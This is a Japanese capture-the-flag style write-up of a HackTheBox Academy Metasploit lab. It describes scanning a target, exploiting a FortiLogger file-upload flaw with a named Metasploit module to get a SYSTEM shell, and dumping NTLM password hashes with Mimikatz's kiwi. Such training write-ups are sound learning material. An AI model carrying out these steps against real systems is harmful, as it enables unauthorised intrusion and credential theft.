【HackTheBox】HackTheBox Academy: Using the Metasploit Frameworkモジュール (Metapreterセクション)

# Using the Metasploit FrameworkモジュールのMetapreterセクションの記録

HackTheBox AcademyのUsing the Metasploit FrameworkモジュールのMetapreterセクションについて記事を残します。
(Tier0モジュールに限りソリューションの公開が許可されています。)
このセクションには、以下の2つの問題が含まれます。

![スクリーンショット 2024-11-16 19.07.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/182163e1-88c7-df43-dc26-af6564314036.png)
![スクリーンショット 2024-11-16 19.07.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/a6e57a73-1315-3bec-0356-38ebac976828.png)

## ターゲットの調査
まず、ターゲットIPに対してnmapでサービス情報を収集します。

![スクリーンショット 2024-11-16 18.25.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/77055be6-3be3-3100-c155-a7a3766dfaca.png)

以下の３つのポートが怪しそうです。

- 445/tcp: Microsoft-DS（SMB共有）
- 3389/tcp: Microsoft Terminal Services（RDP）
- 5000/tcp: HTTPサービス（Microsoft IIS 10.0）

SMB共有、RDPサーバーに対する攻撃を試みましたが脆弱性情報を見つけられませんでした。そこで、httpサーバーを中心に調べてみます。


## webアプリケーションの調査

ブラウザで5000番ポートにアクセスし、FortiLoggerというWebアプリケーションが稼働していることがわかりました。

![スクリーンショット 2024-11-16 18.39.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/314f2bb5-f5d1-eb9c-3e0c-03f3b92b2162.png)

FortiLoggerの脆弱性情報を調べてみると、バージョン4.4.2.2にファイルの無制限アップロードに関する脆弱性が存在するようです。

![スクリーンショット 2024-11-16 18.37.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/7a2785d1-2cb8-ebeb-30c8-1e30a925fe87.png)

[引用元](https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-002984.html)

ログイン画面に戻り、適当に`admin:admin`で入力すると通ったので、バージョン情報を収集します。

![スクリーンショット 2024-11-16 18.20.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/24d7a5b1-be42-072b-a6ad-4c28cb39e79c.png)

Fortiloggerのバージョンが4.4.2.2であり、先ほどの脆弱性を持つバージョンだったので、metasploitでモジュールを探します。

## Metasploitでの攻撃準備
msfconsoleを立ち上げ、fortilogger関連のexploitを探します。

![スクリーンショット 2024-11-16 18.20.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/21b2b565-c8c0-2404-1f4a-7eaf59a79739.png)

```exploit/windows/http/fortilogger_arbitrary_fileupload```
が使用できそうです。

```options```コマンドで、設定項目を見てみます。

![スクリーンショット 2024-11-16 18.28.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/c9fd2425-76ea-0155-8bb1-f87fe452087a.png)

必要な項目を設定してexploitを実行します。
（余談ですが、LHOSTにはアドレスだけでなくNI名でも設定できるみたいです。）

```
setg RHOSTS <TargetのIP>
set RPORT 5000
set LHOST tun0
```
攻撃が成功し、セッションが確立されました。

![スクリーンショット 2024-11-16 18.20.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/a5e25cf5-b4ac-c37d-4fa6-c1d11f65b3e4.png)

## 権限の確認
```getuid```コマンドでシェルのユーザー名を確認します。
（１問目の回答）

![スクリーンショット 2024-11-16 18.20.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/74c2dbdb-7abb-1dac-a3bf-1ad547390cfd.png)

```NT AUTHORITY\SYSTEM```というユーザー名らしくないユーザー名に戸惑いましたが、WindowsOSの最高権限アカウントの名前のようです。
([参考記事：「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典：Windows NT系](https://wa3.i-3-i.info/word11005.html)）

1問目の回答はこれで正解でした。
![スクリーンショット 2024-11-16 19.08.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/ebbdcbdb-43e6-06fe-6b5b-301dca896374.png)


## NTLMパスワードハッシュの取得

そもそもNTLMパスワードハッシュについて全く知りませんでした。
Windowsのパスワードはハッシュ化して保存されており、そのハッシュ化に用いるアルゴリズムがNTLMのようです。
([参考記事：WindowsのLM、NTLMハッシュについて](https://binary-pulsar.hatenablog.jp/entry/2018/12/06/090000))

また、一部の認証ではハッシュ値のままで認証を通すpass-the-hashができるそうです。

これらのハッシュ値の取得はかなり大変そうなのですが、Mimikatsモジュール(別名kiwi)を用いることで簡単に取得できます。
([参考記事：パスワードってどこにあるの？その1](https://www.mbsd.jp/research/20190514/password1/))

kiwiをロードした後、システム権限のある状態でlsa_dump_samを実行します。
これによって、Security Account Managerデータベースにアクセスし、NTLMハッシュ値を含む、LSAプロセスで用いる認証情報を取得できます。

![スクリーンショット 2024-11-16 18.19.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/421ae41f-b3c2-e6e8-b146-a97fade3cd56.png)

![スクリーンショット 2024-11-16 18.19.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/2b4aa7c8-b5d6-313a-d9ae-3fdde53a8721.png)

htb-studentユーザーのHash NTLMを取得して、2問目も完了です。

![スクリーンショット 2024-11-16 19.08.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792092/f7d01c4f-b6b0-4b64-a8cf-a46a810fa3d4.png)

## まとめ

Using Metasploit FrameworkのMetapreterセクションでは、以下の内容を学びました：

- 脆弱性の特定とMetasploitによるエクスプロイト
- `NT AUTHORITY\SYSTEM`でのシェル取得
- Mimikatzを用いたNTLMパスワードハッシュの取得

## 参考文献

- [HackTheBox Academy](https://academy.hackthebox.com/)
- [JVNDB-2021-002984 - FortiLoggerの脆弱性情報](https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-002984.html)
- [パスワードってどこにあるの？その1](https://www.mbsd.jp/research/20190514/password1/)
- [WindowsのLM、NTLMハッシュについて](https://binary-pulsar.hatenablog.jp/entry/2018/12/06/090000)